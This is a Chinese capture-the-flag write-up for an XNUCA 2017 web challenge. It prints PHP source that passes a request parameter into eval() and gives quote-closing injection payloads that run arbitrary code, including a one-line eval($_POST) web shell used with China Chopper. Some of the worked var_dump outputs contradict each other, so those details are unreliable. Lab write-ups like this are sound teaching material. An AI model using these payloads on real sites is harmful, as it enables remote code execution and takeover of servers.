XNUCA 2017-Web专题赛前指导-default-writeup

代码执行，闭合构造

题目：

描述：主页都没有了，就不要扫我了

http://218.76.35.74:20131

Solution

此时不扫更待何时。。。扫出一个 index2.php:

<?php

include "flag2.php";
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);");

传入的参数会经过var_dump()，这里给出两种payload。

payload1

?hello=);eval($_POST['A']);%2f%2f

或

?hello=);eval(phpinfo());//

var_dump($a);后的结果为

string(22) ");eval($_POST['A']);//"

即

eval("string(21) ");eval($_GET['A']);//"");

payload2

?hello=);eval($_GET[c]&c=phpinfo();

var_dump()后的结果是

string(15) ");eval($_GET[c]"

即

eval("string(17) ");eval($_GET[c]" string(0) "" ");

因此可以通过构造闭合引号。用菜刀连上：

真正的flag在flag1.php里。得到flag：

F8871804DD8C20C66D2386B3E51ADEC4

题外话

已将此题收录进 CTF-Web-Challenge